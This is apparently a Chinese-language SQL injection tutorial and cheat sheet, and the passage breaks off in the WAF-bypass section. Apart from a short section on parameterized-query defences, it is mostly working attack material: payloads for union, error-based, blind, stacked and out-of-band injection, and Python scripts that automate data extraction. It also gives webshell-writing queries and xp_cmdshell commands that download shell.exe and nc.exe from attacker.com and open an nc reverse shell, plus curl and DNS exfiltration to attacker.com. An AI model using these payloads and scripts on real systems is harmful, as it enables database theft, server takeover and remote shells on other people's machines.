梳理 SQL 注入的原理、类型、利用技巧与 WAF 绕过方法。
一、SQLi 概述
SQL 注入(SQL Injection,SQLi)是指攻击者将恶意 SQL 代码插入到应用程序的输入参数中,使得后端数据库执行了超出预期的 SQL 语句,从而实现非授权的数据读取、数据篡改,乃至服务器控制。
SQL 注入自 1998 年被公开以来,长期占据 OWASP Top 10 首位,是 Web 安全领域危害最广、出现频率最高的漏洞之一。
危害级别: 🔴 严重
可导致的后果:
| 危害 | 说明 |
|---|---|
| 数据泄露 | 读取数据库中任意表的数据,包括用户凭据、业务数据 |
| 认证绕过 | 绕过登录验证,以任意身份登录系统 |
| 数据篡改 | 修改、删除数据库数据,破坏业务逻辑 |
| 文件读写 | 读取服务器文件,写入 WebShell |
| 命令执行 | 特定数据库配置下可执行操作系统命令(如 MSSQL xp_cmdshell) |
| 拒绝服务 | 通过重型查询拖垮数据库服务器 |
二、形成原理
2.1 根本原因
SQL 注入的根本原因在于程序将用户可控数据与 SQL 指令混合拼接,导致数据库无法区分"数据"与"指令"的边界。
用户输入:admin' OR '1'='1
拼接后:SELECT * FROM users WHERE username='admin' OR '1'='1'
执行效果:忽略密码验证,返回所有用户
2.2 代码层面分析
危险示例(PHP + MySQL)
// ❌ 危险写法:直接拼接用户输入
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
// 攻击输入:
// username: admin'--
// 拼接结果:SELECT * FROM users WHERE username='admin'--' AND password='xxx'
// 效果:密码验证被注释掉,直接登录 admin
// ✅ 安全写法:PDO 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
危险示例(Python + SQLite)
# ❌ 危险写法
cursor.execute("SELECT * FROM users WHERE id=" + user_id)
# ✅ 安全写法
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
危险示例(Java + JDBC)
// ❌ 危险写法
String sql = "SELECT * FROM users WHERE id=" + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// ✅ 安全写法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, Integer.parseInt(request.getParameter("id")));
2.3 注入点识别
触发异常的测试方法:
# 单引号测试(最基础)
' → 数据库报错或页面异常
# 布尔测试(确认可注入)
1 AND 1=1 → 正常页面
1 AND 1=2 → 页面有差异
# 时间测试(盲注确认)
1 AND SLEEP(5) → 响应延迟约 5 秒
# 注释符测试
1--
1#
1/*
# 数字型 vs 字符型判断
id=1 正常
id=1-0 正常(数字型,1-0=1)
id=1-1 返回 id=0 的数据(数字型)
id='1' 正常(字符型支持)
常见注入点:
URL 参数:?id=1&page=2&sort=name
POST 表单:username=xxx&password=xxx
Cookie:PHPSESSID=xxx; user_id=1
HTTP 头:X-Forwarded-For、Referer、User-Agent
JSON/XML 请求体
搜索框、排序字段、分页参数
三、注入类型详解
3.1 联合查询注入 (UNION-Based)
适用场景: 查询结果能直接回显到页面中
利用步骤:
第一步:确定列数
-- 方法一:ORDER BY 二分法
ORDER BY 1-- 正常
ORDER BY 2-- 正常
ORDER BY 3-- 正常
ORDER BY 4-- 报错 → 列数为 3
-- 方法二:UNION NULL 枚举
UNION SELECT null-- 报错
UNION SELECT null,null-- 报错
UNION SELECT null,null,null-- 正常 → 列数为 3
第二步:确定回显列
-- 将 null 替换为字符串,观察哪个位置有回显
UNION SELECT 'a',null,null--
UNION SELECT null,'a',null--
UNION SELECT null,null,'a'--
-- 或使用数字(部分数据库需类型匹配)
UNION SELECT 1,2,3--
第三步:提取数据
-- 获取数据库基本信息
UNION SELECT null,database(),version()--
UNION SELECT null,user(),@@datadir--
-- 获取所有数据库
UNION SELECT null,group_concat(schema_name),null
FROM information_schema.schemata--
-- 获取当前数据库所有表
UNION SELECT null,group_concat(table_name),null
FROM information_schema.tables
WHERE table_schema=database()--
-- 获取指定表的列名
UNION SELECT null,group_concat(column_name),null
FROM information_schema.columns
WHERE table_name='users'--
-- 获取数据
UNION SELECT null,group_concat(username,0x3a,password),null
FROM users--
-- 多行数据分隔输出
UNION SELECT null,group_concat(username,':',password SEPARATOR '|'),null
FROM users--
完整利用示例
原始请求:GET /article?id=1
Step 1: id=1 ORDER BY 3-- - → 正常
id=1 ORDER BY 4-- - → 报错,确认3列
Step 2: id=-1 UNION SELECT 1,2,3-- - → 页面显示数字,确认第2、3列回显
Step 3: id=-1 UNION SELECT 1,database(),version()-- -
→ 显示:ctfdb | 8.0.26
Step 4: id=-1 UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables WHERE table_schema='ctfdb'-- -
→ 显示:users,flag,articles
Step 5: id=-1 UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns WHERE table_name='flag'-- -
→ 显示:id,flag_value
Step 6: id=-1 UNION SELECT 1,flag_value,3 FROM flag-- -
→ 显示:flag{sql_injecti0n_m4ster}
3.2 报错注入 (Error-Based)
适用场景: 页面会显示数据库错误信息,但不回显查询结果
原理: 利用特定 SQL 函数在处理特殊数据时产生报错,并将查询结果包含在错误信息中输出。
MySQL 报错函数
-- 1. extractvalue():XPATH 语法错误
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND extractvalue(1,concat(0x7e,(
SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema=database())))-- -
-- 报错输出:XPATH syntax error: '~ctfdb'
-- 注意:extractvalue 每次只能显示 32 个字符
-- 超长数据需分段读取
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,':',password) FROM users),1,30)))-- -
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,':',password) FROM users),31,30)))-- -
-- 2. updatexml():XPATH 语法错误
' AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -
' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -
' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,':',password) FROM users)),1)-- -
-- 报错输出:XPATH syntax error: '~admin:password123'
-- 3. floor(rand()*2) 报错(无字符长度限制)
' AND (SELECT 1 FROM(
SELECT COUNT(*),
concat((SELECT database()),floor(rand(0)*2)) AS x
FROM information_schema.tables
GROUP BY x
)a)-- -
-- 报错输出:Duplicate entry 'ctfdb1' for key 'group_key'
-- 完整数据提取版本(结合 limit)
' AND (SELECT 1 FROM(
SELECT COUNT(*),
concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1),0x7e,floor(rand(0)*2)) AS x
FROM information_schema.tables
GROUP BY x
)a)-- -
-- 4. geometrycollection / multipoint(MySQL 5.x)
' AND geometrycollection((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND multipoint((SELECT * FROM(SELECT * FROM(SELECT version())a)b))-- -
' AND polygon((SELECT * FROM(SELECT * FROM(SELECT user())a)b))-- -
' AND multipolygon((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND linestring((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND multilinestring((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND exp(~(SELECT * FROM(SELECT database())a))-- -
-- 5. exp() 溢出报错(MySQL 5.5.5+)
-- exp(x) 当 x > 709 时溢出
' AND exp(~(SELECT * FROM(SELECT database())a))-- -
-- ~ 是按位取反,使结果变为极大数,触发溢出
-- 报错输出:DOUBLE value is out of range in 'exp(~((select 'ctfdb')))'
3.3 布尔盲注 (Boolean-Based Blind)
适用场景: 页面不显示查询结果和报错,但会根据查询真假返回不同响应(页面内容、状态码、重定向等)
原理: 通过构造条件判断语句,根据页面差异逐位猜解数据。
基础模板
-- 字符串类型注入点
' AND (条件判断)-- -
-- 数字类型注入点
1 AND (条件判断)-- -
逐步提取数据
-- 第一步:判断数据库名长度
' AND length(database())=1-- - → False
' AND length(database())=2-- - → False
' AND length(database())=5-- - → True → 数据库名长度为 5
-- 第二步:逐字符猜解数据库名
' AND ascii(substr(database(),1,1))=99-- - → True → 'c'
' AND ascii(substr(database(),2,1))=116-- - → True → 't'
' AND ascii(substr(database(),3,1))=102-- - → True → 'f'
-- 以此类推...
-- 使用二分法加速(减少请求次数)
' AND ascii(substr(database(),1,1))>64-- - → True
' AND ascii(substr(database(),1,1))>96-- - → True
' AND ascii(substr(database(),1,1))>112-- - → False
' AND ascii(substr(database(),1,1))>104-- - → False
' AND ascii(substr(database(),1,1))>100-- - → False
' AND ascii(substr(database(),1,1))>98-- - → True
' AND ascii(substr(database(),1,1))=99-- - → True → 'c'
自动化布尔盲注脚本
import requests
import string
TARGET = "http://target.com/article?id="
TRUE_KEYWORD = "Article" # 页面为 True 时包含的关键词
def check(payload):
"""判断注入条件是否为 True"""
url = TARGET + f"1 AND {payload}-- -"
r = requests.get(url, timeout=5)
return TRUE_KEYWORD in r.text
def extract_string(query, max_len=64):
"""逐字符提取字符串结果"""
result = ""
for i in range(1, max_len + 1):
# 先判断是否已到末尾
if check(f"length(({query}))={i - 1}"):
break
# 二分法猜字符
lo, hi = 32, 127
while lo < hi:
mid = (lo + hi) // 2
if check(f"ascii(substr(({query}),{i},1))>{mid}"):
lo = mid + 1
else:
hi = mid
if lo == 32:
break
result += chr(lo)
print(f"\r[+] 正在提取: {result}", end="", flush=True)
print()
return result
# 提取数据库名
db_name = extract_string("SELECT database()")
print(f"[*] 数据库名: {db_name}")
# 提取表名
tables = extract_string(f"SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'")
print(f"[*] 表名: {tables}")
# 提取 flag
flag = extract_string("SELECT flag_value FROM flag LIMIT 0,1")
print(f"[*] Flag: {flag}")
3.4 时间盲注 (Time-Based Blind)
适用场景: 页面无任何差异,无论查询真假都返回相同内容(完全无回显)
原理: 通过控制 SQL 查询是否引入时间延迟,以响应时间差来判断条件真假。
各数据库时间函数
-- MySQL
SLEEP(5) -- 延迟 5 秒
BENCHMARK(5000000, MD5(1)) -- CPU 计算延迟(绕过 SLEEP 过滤)
-- PostgreSQL
pg_sleep(5) -- 延迟 5 秒
-- MSSQL
WAITFOR DELAY '0:0:5' -- 延迟 5 秒
WAITFOR TIME '10:00:00' -- 等待到指定时间
-- Oracle
dbms_pipe.receive_message(('a'),5) -- 延迟 5 秒
BEGIN DBMS_LOCK.sleep(5); END; -- 延迟 5 秒(需权限)
条件时间注入模板
-- MySQL IF 条件
' AND IF(条件, SLEEP(3), 0)-- -
-- 示例:判断数据库名第一个字符是否为 'c'
' AND IF(ascii(substr(database(),1,1))=99, SLEEP(3), 0)-- -
→ 响应延迟 3 秒 → True
-- 提取数据库名
' AND IF(ascii(substr(database(),1,1))>96, SLEEP(3), 0)-- -
' AND IF(ascii(substr(database(),1,1))>112, SLEEP(3), 0)-- -
-- CASE WHEN 写法
' AND CASE WHEN (条件) THEN SLEEP(3) ELSE 0 END-- -
自动化时间盲注脚本
import requests
import time
TARGET = "http://target.com/article?id="
SLEEP_TIME = 3 # 延迟秒数
THRESHOLD = 2.0 # 判断阈值(秒)
def check_time(payload):
"""判断条件是否为 True(基于响应时间)"""
url = TARGET + f"1 AND IF({payload},SLEEP({SLEEP_TIME}),0)-- -"
start = time.time()
try:
requests.get(url, timeout=SLEEP_TIME + 5)
except requests.exceptions.Timeout:
return True # 超时也视为 True
elapsed = time.time() - start
return elapsed >= THRESHOLD
def extract_string_time(query, max_len=64):
"""时间盲注提取字符串"""
result = ""
for i in range(1, max_len + 1):
if check_time(f"length(({query}))={i - 1}"):
break
lo, hi = 32, 127
while lo < hi:
mid = (lo + hi) // 2
if check_time(f"ascii(substr(({query}),{i},1))>{mid}"):
lo = mid + 1
else:
hi = mid
if lo == 32:
break
result += chr(lo)
print(f"\r[+] 正在提取: {result}", end="", flush=True)
print()
return result
# 提取数据库名
db = extract_string_time("SELECT database()")
print(f"[*] 数据库: {db}")
# 提取 flag
flag = extract_string_time("SELECT flag FROM flag LIMIT 0,1")
print(f"[*] Flag: {flag}")
3.5 堆叠注入 (Stacked Queries)
适用场景: 数据库接口允许一次执行多条 SQL 语句(分号分隔)
支持情况:
- ✅ MySQL(
mysqli_multi_query()) - ✅ PostgreSQL
- ✅ MSSQL
- ❌ MySQL PDO(默认不支持多语句)
- ❌ Oracle(不支持分号分隔多语句)
基础用法
-- 读取数据(结合 UPDATE 写入可见位置)
1; UPDATE users SET email=(SELECT flag FROM flag LIMIT 0,1) WHERE id=1--
-- 创建新用户
1; INSERT INTO users(username,password) VALUES('hacker','hacker123')--
-- 修改管理员密码
1; UPDATE users SET password='newpassword' WHERE username='admin'--
-- 删除数据
1; DROP TABLE users--
-- 写文件(MySQL)
1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'--
PostgreSQL 堆叠执行命令
-- 创建并调用函数执行命令
1; CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS text AS $$
DECLARE result text;
BEGIN
EXECUTE cmd INTO result;
RETURN result;
END;
$$ LANGUAGE plpgsql-- -
-- 利用 COPY 执行命令
1; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwn.txt'--
-- 利用 COPY 读取命令输出
1; CREATE TABLE cmd_out(data text)--
1; COPY cmd_out FROM PROGRAM 'id'--
1; SELECT data FROM cmd_out--
MSSQL 堆叠执行命令
-- 开启 xp_cmdshell
1; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
1; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
-- 执行命令
1; EXEC master..xp_cmdshell 'whoami'--
1; EXEC master..xp_cmdshell 'certutil -urlcache -f http://attacker.com/shell.exe C:\shell.exe && C:\shell.exe'--
-- 查询输出
1; CREATE TABLE #tmp(output varchar(8000))--
1; INSERT #tmp EXEC master..xp_cmdshell 'whoami'--
1; SELECT output FROM #tmp--
3.6 带外注入 (Out-of-Band)
适用场景: 服务器可发起外部网络请求,查询结果无法从页面获得(完全盲注)
原理: 将查询结果通过 DNS 查询、HTTP 请求等方式外带到攻击者控制的服务器。
MySQL DNS 外带
-- 使用 load_file() 触发 DNS 查询(需 FILE 权限)
-- Windows 环境(UNC 路径)
' AND load_file(concat('\\\\',database(),'.attacker.com\\share'))-- -
-- 实际效果:DNS 查询 ctfdb.attacker.com
-- 在 attacker.com 的 DNS 日志中可看到查询
-- 获取数据库名
' AND load_file(concat(0x5c5c5c5c,(SELECT database()),0x2e61747461636b65722e636f6d5c5c61))-- -
-- 获取表数据
' AND load_file(concat(0x5c5c5c5c,(SELECT hex(group_concat(username,':',password)) FROM users),0x2e61747461636b65722e636f6d5c5c61))-- -
MySQL HTTP 外带
-- INTO OUTFILE 写 UNC 路径(Windows)
' UNION SELECT 1,(SELECT password FROM users WHERE username='admin'),3
INTO OUTFILE '\\\\attacker.com\\share\\result.txt'-- -
-- load_file + into outfile 组合(Linux 下通过 SSRF)
' AND (SELECT load_file(concat('http://attacker.com/?data=',(SELECT database()))))-- -
-- 注意:load_file 不能发 HTTP,此方法仅限特殊场景
PostgreSQL 带外
-- 利用 COPY 外带(需超级用户权限)
COPY (SELECT password FROM users WHERE username='admin')
TO PROGRAM 'curl http://attacker.com/?d=$(cat /dev/stdin | base64)';
-- 利用 dblink 扩展(需安装)
SELECT dblink_connect('host=attacker.com user=postgres password=test dbname=test');
工具:使用 Burp Collaborator
1. 在 Burp Suite 中打开 Collaborator client
2. 生成一个 Collaborator payload(如 xxxxx.burpcollaborator.net)
3. 在 DNS 外带 Payload 中使用该域名
4. 在 Collaborator 界面中观察到 DNS 查询及其子域名内容
3.7 二阶注入 (Second-Order)
原理: 恶意数据先被"安全地"存入数据库,当程序在其他功能中取出该数据并再次拼接 SQL 时触发注入。
攻击流程:
1. 注册阶段:
用户名输入:admin'--
程序转义后存储:admin\'-- (存储安全)
2. 修改密码阶段(从数据库取出用户名拼接 SQL):
SELECT * FROM users WHERE username='admin'--'
↑ 数据库取出的数据已去除转义,拼接后破坏 SQL 结构
构造的 SQL:
UPDATE users SET password='xxx' WHERE username='admin'--'
实际执行:UPDATE users SET password='xxx' WHERE username='admin'
效果:修改了 admin 的密码,而非当前用户
示例场景:
-- 攻击者注册用户名:
' UNION SELECT 1,(SELECT password FROM admins LIMIT 0,1),3-- -
-- 当该用户名被用于个人信息页面查询时:
SELECT * FROM profiles WHERE username='' UNION SELECT 1,(SELECT password FROM admins LIMIT 0,1),3-- -'
→ 泄露 admins 表中的密码
检测方法:
- 在可保存数据的功能(注册、修改资料)中输入注入符号
- 观察该数据在其他功能(查看资料、生成报告)中是否触发
- 需要追踪数据流向,逆向分析数据使用位置
四、不同数据库利用技巧
4.1 MySQL
基本信息查询
SELECT version(); -- 数据库版本
SELECT database(); -- 当前数据库
SELECT user(); -- 当前用户
SELECT @@hostname; -- 主机名
SELECT @@datadir; -- 数据目录
SELECT @@global.secure_file_priv; -- 文件读写限制
SELECT @@version_compile_os; -- 操作系统
元数据查询
-- 所有数据库
SELECT schema_name FROM information_schema.schemata;
-- 当前库所有表
SELECT table_name FROM information_schema.tables
WHERE table_schema = database();
-- 指定表的列名
SELECT column_name,column_type FROM information_schema.columns
WHERE table_name = 'users';
-- 组合查询(一次性获取结构)
SELECT concat(table_schema,'.',table_name,'.',column_name)
FROM information_schema.columns
WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys');
文件操作
-- 读取文件(需 FILE 权限,且 secure_file_priv 允许)
SELECT load_file('/etc/passwd');
SELECT hex(load_file('/etc/passwd')); -- HEX 编码避免特殊字符
' UNION SELECT 1,load_file('/etc/passwd'),3-- -
-- 写文件(需 FILE 权限,secure_file_priv='')
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php';
-- DUMPFILE 不添加换行符,适合二进制文件
-- 写文件(十六进制编码绕过特殊字符过滤)
SELECT 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e
INTO OUTFILE '/var/www/html/shell.php';
MySQL 特有技巧
-- 无逗号 UNION(绕过逗号过滤)
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT database())b JOIN (SELECT version())c
-- 无引号读取字符串(HEX 编码)
WHERE table_name=0x7573657273 -- 'users' 的十六进制
-- 无空格查询
SELECT/**/username/**/FROM/**/users
-- 读取 MySQL 用户密码哈希
SELECT user,authentication_string FROM mysql.user;
-- 宽松模式绕过(sql_mode)
SELECT @@sql_mode;
SET @@sql_mode='';
4.2 PostgreSQL
基本信息查询
SELECT version(); -- 版本
SELECT current_database(); -- 当前数据库
SELECT current_user; -- 当前用户
SELECT inet_server_addr(); -- 服务器 IP
SELECT pg_postmaster_start_time(); -- 启动时间
-- 判断是否超级用户
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename=current_user;
元数据查询
-- 所有数据库
SELECT datname FROM pg_database;
-- 所有表(不含系统表)
SELECT tablename FROM pg_tables WHERE schemaname='public';
-- 列名
SELECT column_name,data_type FROM information_schema.columns
WHERE table_name='users';
-- 版本信息详情
SELECT * FROM pg_settings WHERE name='server_version';
PostgreSQL 命令执行
-- COPY TO PROGRAM(需超级用户)
COPY (SELECT '') TO PROGRAM 'id > /tmp/output.txt';
-- 读取命令输出
CREATE TABLE output(data text);
COPY output FROM PROGRAM 'id';
SELECT data FROM output;
DROP TABLE output;
-- 文件读取
SELECT pg_read_file('/etc/passwd'); -- 需超级用户(PG 9.1+)
SELECT pg_read_binary_file('/etc/passwd'); -- 二进制读取
-- 文件写入
COPY (SELECT '<?php system($_GET[cmd]);?>') TO '/var/www/html/shell.php';
-- 利用 Large Objects 读写文件
SELECT lo_import('/etc/passwd', 12345); -- 导入文件为 LO
SELECT encode(data::bytea,'escape') FROM pg_largeobject WHERE loid=12345;
PostgreSQL 提权技巧
-- 利用 UDF 加载自定义函数
CREATE OR REPLACE FUNCTION shell(text) RETURNS text AS '
DECLARE result text;
BEGIN
EXECUTE $1 INTO result;
RETURN result;
END;
' LANGUAGE plpgsql;
-- 通过 dblink 进行 SSRF
SELECT dblink_send_query('host=169.254.169.254 user=a password=a dbname=a', 'SELECT 1');
-- 枚举角色
SELECT rolname,rolsuper FROM pg_roles;
4.3 MSSQL (SQL Server)
基本信息查询
SELECT @@version; -- 版本
SELECT DB_NAME(); -- 当前数据库
SELECT SYSTEM_USER; -- 当前登录用户
SELECT USER_NAME(); -- 当前数据库用户
SELECT @@SERVERNAME; -- 服务器名
SELECT HOST_NAME(); -- 主机名
-- 判断是否 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 当前用户权限
SELECT permission_name FROM fn_my_permissions(null,'SERVER');
元数据查询
-- 所有数据库
SELECT name FROM master..sysdatabases;
SELECT name FROM sys.databases;
-- 所有表
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE';
SELECT name FROM sysobjects WHERE xtype='U';
-- 列名
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- 链接服务器(横向移动)
SELECT * FROM sys.servers;
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT 1');
MSSQL 命令执行
-- xp_cmdshell(最常用)
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/nc.exe C:\nc.exe';
EXEC xp_cmdshell 'C:\nc.exe -e cmd.exe attacker.com 4444';
-- 开启 xp_cmdshell(若被禁用)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- sp_oacreate 方法(xp_cmdshell 被禁时)
DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', null, 'cmd /c whoami > C:\output.txt', 0, 1;
-- CLR 组件(创建自定义函数)
-- 需 CLR 已启用 + UNSAFE 权限
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
MSSQL 文件操作
-- 读文件(OpenRowset)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS data;
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\secret.txt', SINGLE_BLOB) AS data;
-- 写文件(BCP 命令)
EXEC xp_cmdshell 'bcp "SELECT ''<?php @eval($_POST[cmd]);?>''" queryout C:\inetpub\wwwroot\shell.php -c -T -S localhost';
MSSQL 特有技巧
-- 时间注入
IF (1=1) WAITFOR DELAY '0:0:5'
-- DNS 带外(需 xp_dirtree 或 xp_fileexist)
EXEC master..xp_dirtree '\\' + (SELECT TOP 1 name FROM master..sysdatabases) + '.attacker.com\share'
-- 错误回显
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--
-- 注释符
-- (双横线)
/* (块注释)
4.4 Oracle
基本信息查询
SELECT * FROM v$version; -- 版本
SELECT ora_database_name FROM dual; -- 当前数据库
SELECT user FROM dual; -- 当前用户
SELECT sys_context('USERENV','DB_NAME') FROM dual;
SELECT sys_context('USERENV','HOST') FROM dual;
SELECT sys_context('USERENV','IP_ADDRESS') FROM dual;
元数据查询
-- 所有数据库(Oracle 无多数据库,对应 schema)
SELECT username FROM all_users;
SELECT owner FROM all_tables GROUP BY owner;
-- 所有表
SELECT table_name FROM all_tables WHERE owner='SYSTEM';
SELECT table_name FROM user_tables;
-- 列名
SELECT column_name FROM all_columns WHERE table_name='USERS';
Oracle 注入特点
-- Oracle 必须有 FROM,使用 FROM DUAL
SELECT 1,2,3 FROM DUAL;
SELECT null,null,null FROM DUAL;
-- 字符串拼接(Oracle 用 || 而非 concat)
SELECT 'a'||'b' FROM DUAL;
SELECT username||':'||password FROM users;
-- 无 LIMIT,使用 ROWNUM
SELECT * FROM users WHERE ROWNUM=1;
SELECT * FROM (SELECT * FROM users) WHERE ROWNUM<=3;
-- 子查询取第 N 行
SELECT * FROM (SELECT ROWNUM r, a.* FROM users a) WHERE r=2;
-- 时间注入(Oracle)
' OR 1=dbms_pipe.receive_message(('a'),5)-- -
' AND 1=(SELECT 1 FROM dual WHERE 1=1 AND dbms_pipe.receive_message(('a'),3)=1)-- -
-- 报错注入(Oracle)
' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))-- -
' OR 1=1 AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))-- -
-- CTXSYS.DRITHSX.SN 报错
' AND CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE ROWNUM=1))=1-- -
4.5 SQLite
基本信息查询
SELECT sqlite_version(); -- 版本
SELECT name FROM sqlite_master WHERE type='table'; -- 所有表
SELECT sql FROM sqlite_master WHERE name='users'; -- 表结构(含列名)
SELECT name FROM pragma_table_info('users'); -- 列名
-- SQLite 无 information_schema
-- 使用 sqlite_master / sqlite_schema
SELECT tbl_name,sql FROM sqlite_master WHERE type='table';
SQLite 特有技巧
-- UNION 注入
UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- -
UNION SELECT 1,group_concat(sql),3 FROM sqlite_master-- -
UNION SELECT 1,group_concat(tbl_name||':'||sql),3 FROM sqlite_master WHERE type='table'-- -
-- 无 SLEEP,使用 randomblob 制造延迟
1 AND 1=(SELECT 1 FROM sqlite_master WHERE randomblob(500000000) AND name='users')
-- 读文件(需 readfile 函数,默认不支持)
-- SQLite 标准版无文件读写功能
-- 注释符(与 MySQL 相同)
-- # -- - /**/
五、注入场景与绕过技巧
5.1 GET / POST 注入
识别特征: URL 参数或表单参数中存在注入点
# GET 参数
http://target.com/article?id=1
http://target.com/search?keyword=test&page=1
# POST 参数(表单)
username=admin&password=123
# 测试方法
id=1' → 报错 → 存在注入
id=1 AND 1=1 → 正常
id=1 AND 1=2 → 异常
5.2 Cookie 注入
识别特征: 服务端使用 Cookie 值查询数据库(常见于用户 ID、权限级别存储在 Cookie 中)
Cookie: user_id=1; session=abc123
# 测试
Cookie: user_id=1' → 是否报错
Cookie: user_id=1 AND 1=1 → 正常
Cookie: user_id=1 AND 1=2 → 异常
# SQLMap Cookie 注入
sqlmap -u "http://target.com/" --cookie "user_id=1" -p user_id
sqlmap -u "http://target.com/" --cookie "user_id=1*" --level=2
5.3 HTTP 头注入
常见注入头:
X-Forwarded-For: 1.2.3.4
Client-IP: 1.2.3.4
X-Real-IP: 1.2.3.4
Referer: http://google.com
User-Agent: Mozilla/5.0
Accept-Language: zh-CN
测试示例(X-Forwarded-For 注入):
import requests
# 注入 XFF 头
headers = {
"X-Forwarded-For": "1' AND SLEEP(3)-- -"
}
r = requests.get("http://target.com/", headers=headers)
SQLMap 头注入:
# 在请求文件中标记注入点(用 * 标记)
# request.txt 内容:
GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 1.2.3.4*
# 然后使用 -r 参数
sqlmap -r request.txt --level=3
5.4 JSON / XML 注入
JSON 注入
// 正常请求
{"id": 1}
// 注入测试
{"id": "1 AND 1=1-- -"}
{"id": "1 UNION SELECT 1,2,3-- -"}
// 嵌套 JSON
{"user": {"id": "1 OR 1=1-- -"}}
import requests, json
# JSON 注入
payload = {"id": "1 UNION SELECT 1,database(),3-- -"}
r = requests.post("http://target.com/api/user",
json=payload,
headers={"Content-Type": "application/json"})
XML / SOAP 注入
<!-- 正常请求 -->
<user><id>1</id></user>
<!-- 注入(XML 特殊字符需编码)-->
<user><id>1 UNION SELECT 1,database(),3-- -</id></user>
<!-- 或使用 CDATA 块 -->
<user><id><![CDATA[1' OR '1'='1]]></id></user>
5.5 宽字节注入
原理: 当数据库使用 GBK 等宽字节编码时,%df%27 会被解析为一个合法的 GBK 双字节字符(縗),"吃掉"前面的转义反斜杠 \,使单引号逃逸。
正常转义:' → \'(0x5c 0x27)
宽字节注入:%df' → %df%5c%27 → 0xDF5C(合法GBK字符"縗") + 0x27(单引号)
转义符被吞掉,单引号成功逃逸
触发条件:
- 数据库字符集为 GBK / GB2312 / Big5 / SJIS 等
- PHP 使用
addslashes()或mysql_real_escape_string()转义 - 未设置
SET NAMES utf8或设置不正确
Payload:
?id=1%df' AND 1=1-- -
?id=1%df%27 UNION SELECT 1,2,3-- -
?id=1%df' UNION SELECT 1,database(),3-- -
import requests
# 宽字节注入脚本
url = "http://target.com/article?id="
payload = "1\xdf' UNION SELECT 1,database(),3-- -"
r = requests.get(url + requests.utils.quote(payload))
print(r.text)
5.6 二次解码注入
原理: 服务端对输入进行了一次 URL 解码,但 WAF 只对原始输入进行检测,造成绕过。
输入:%2527 → WAF 检测到 %2527(无害)
服务端第一次解码:%2527 → %27
服务端第二次解码:%27 → '(单引号,触发注入)
实际示例:
?id=1%2527%20AND%201%253d1--%20-
第一次解码:1%27 AND 1%3d1-- -
第二次解码:1' AND 1=1-- -
# SQLMap 双重编码
sqlmap -u "http://target.com/?id=1" --tamper=charencode,charencode
# 或使用 --hex 参数
六、WAF 绕过技术
6.1 大小写混淆
-- WAF 规则通常区分大小写或仅匹配特定大小写
SeLeCt 1,UsErNaMe,3 FrOm UsErS
uNiOn SeLeCt 1,2,3
6.2 注释符绕过空格
-- 使用注释符替代空格
SELECT/**/username/**/FROM/**/users
SELECT/*randomstring*/username/**/FROM/**/users
UNION/**/SELECT/**/1,2,3
-- 使用其他空白字符
SELECT%09username%09FROM%09users -- Tab (%09)
SELECT%0ausername%0aFROM%0ausers -- 换行 (%0a)
SELECT%0dusername%0dFROM%0dusers -- 回车 (%0d)
SELECT%a0username%a0FROM%a0users -- 非断行空格 (%a0)
SELECT%0cusername%0cFROM%0cusers -- Form feed (%0c)
-- 内联注释(MySQL 条件注释)
SELECT /*!32302 username*/ FROM users
6.3 关键字拆分与绕过
-- 双写(适用于 WAF 删除关键字后拼接的情况)
